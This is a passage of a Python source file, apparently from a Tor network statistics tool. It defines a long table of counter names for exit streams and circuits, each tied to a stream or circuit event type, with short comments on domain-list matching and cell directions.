'ExitHostnameWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamLifeTime' : { STREAM_EVENT },
# The non-web equivalents of ExitHostnameWebInitial/SubsequentStream*
'ExitHostnameNonWebInitialStreamCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamLifeTime' : { STREAM_EVENT },
# IP version after DNS resolution and position
'ExitIPv4SubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamLifeTime' : { STREAM_EVENT },
# IP version or hostname before DNS resolution and position
'ExitIPv4LiteralSubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamLifeTime' : { STREAM_EVENT },
# The first domain list is used for the ExitDomain*MatchWebInitialStream Ratio, LifeTime, and Histogram counters
# Their ExitDomainNo*MatchWebInitialStream* equivalents are used when there is no match in the first list
# Does the initial domain on the circuit match any domain in the first list?
'ExitDomainExactMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainNoExactMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
# Does the initial domain on the circuit have any domain in the first list as a suffix?
'ExitDomainSuffixMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitDomainNoSuffixMatchWebInitialStreamLifeTime' : { STREAM_EVENT },
# The number of bins in the ExitDomain*MatchWebInitialStream*CountList counters is
# determined at runtime, based on the number of configured domain lists
# Each domain list gets a bin in each counter, and there is a final bin
# for "no match in any list" (multiple lists may match: all matching bins
# will be incremented). Since there is an unmatched bin, there are no
# ExitDomainNo*MatchWebInitialStream*CountList counters.
# Does the initial domain on the circuit match any domain in the list for each bin? Or is it unmatched by all the lists?
'ExitDomainExactMatchWebInitialStreamCountList' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamByteCountList' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamOutboundByteCountList' : { STREAM_EVENT },
'ExitDomainExactMatchWebInitialStreamInboundByteCountList' : { STREAM_EVENT },
# Does the initial domain on the circuit have any domain in the list for each bin as a suffix? Or is it unmatched by all the lists?
'ExitDomainSuffixMatchWebInitialStreamCountList' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamByteCountList' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamOutboundByteCountList' : { STREAM_EVENT },
'ExitDomainSuffixMatchWebInitialStreamInboundByteCountList' : { STREAM_EVENT },
# these counters depend on circuit end
# they are updated in _handle_circuit_close_event
# Non-HS Circuit Positions
# Custom circuit counters
'ExitAndRend2ClientCircuitCount' : { CIRCUIT_EVENT },
'ExitAndRend2ServiceCircuitCount' : { CIRCUIT_EVENT },
# Circuit Counts
# Inbound cells travel towards the origin
# Outbound cells travel towards the end
'OriginCircuitCount' : { CIRCUIT_EVENT },
'OriginCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginFailureCircuitCount' : { CIRCUIT_EVENT },
'OriginFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginSuccessCircuitCount' : { CIRCUIT_EVENT },
'OriginSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginActiveCircuitCount' : { CIRCUIT_EVENT },
'OriginActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'OriginActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'OriginActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'OriginActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginInactiveCircuitCount' : { CIRCUIT_EVENT },
'OriginInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'OriginInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryCircuitCount' : { CIRCUIT_EVENT },
'EntryCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryFailureCircuitCount' : { CIRCUIT_EVENT },
'EntryFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EntrySuccessCircuitCount' : { CIRCUIT_EVENT },
'EntrySuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntrySuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntrySuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntrySuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntrySuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryActiveCircuitCount' : { CIRCUIT_EVENT },
'EntryActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'EntryActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'EntryActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'EntryActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryInactiveCircuitCount' : { CIRCUIT_EVENT },
'EntryInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EntryInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'MidCircuitCount' : { CIRCUIT_EVENT },
'MidCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidCircuitLifeTime' : { CIRCUIT_EVENT },
'MidFailureCircuitCount' : { CIRCUIT_EVENT },
'MidFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'MidSuccessCircuitCount' : { CIRCUIT_EVENT },
'MidSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'MidActiveCircuitCount' : { CIRCUIT_EVENT },
'MidActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'MidActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'MidActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'MidActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'MidInactiveCircuitCount' : { CIRCUIT_EVENT },
'MidInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'MidInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EndCircuitCount' : { CIRCUIT_EVENT },
'EndCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndCircuitLifeTime' : { CIRCUIT_EVENT },
'EndFailureCircuitCount' : { CIRCUIT_EVENT },
'EndFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EndSuccessCircuitCount' : { CIRCUIT_EVENT },
'EndSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EndActiveCircuitCount' : { CIRCUIT_EVENT },
'EndActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'EndActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'EndActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'EndActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'EndInactiveCircuitCount' : { CIRCUIT_EVENT },
'EndInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'EndInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopCircuitCount' : { CIRCUIT_EVENT },
'SingleHopCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitCount' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitCount' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitCount' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'SingleHopActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'SingleHopActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'SingleHopActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitCount' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'SingleHopInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# We can't distinguish inactive Exit, Dir, and HSDir: we learn if an End
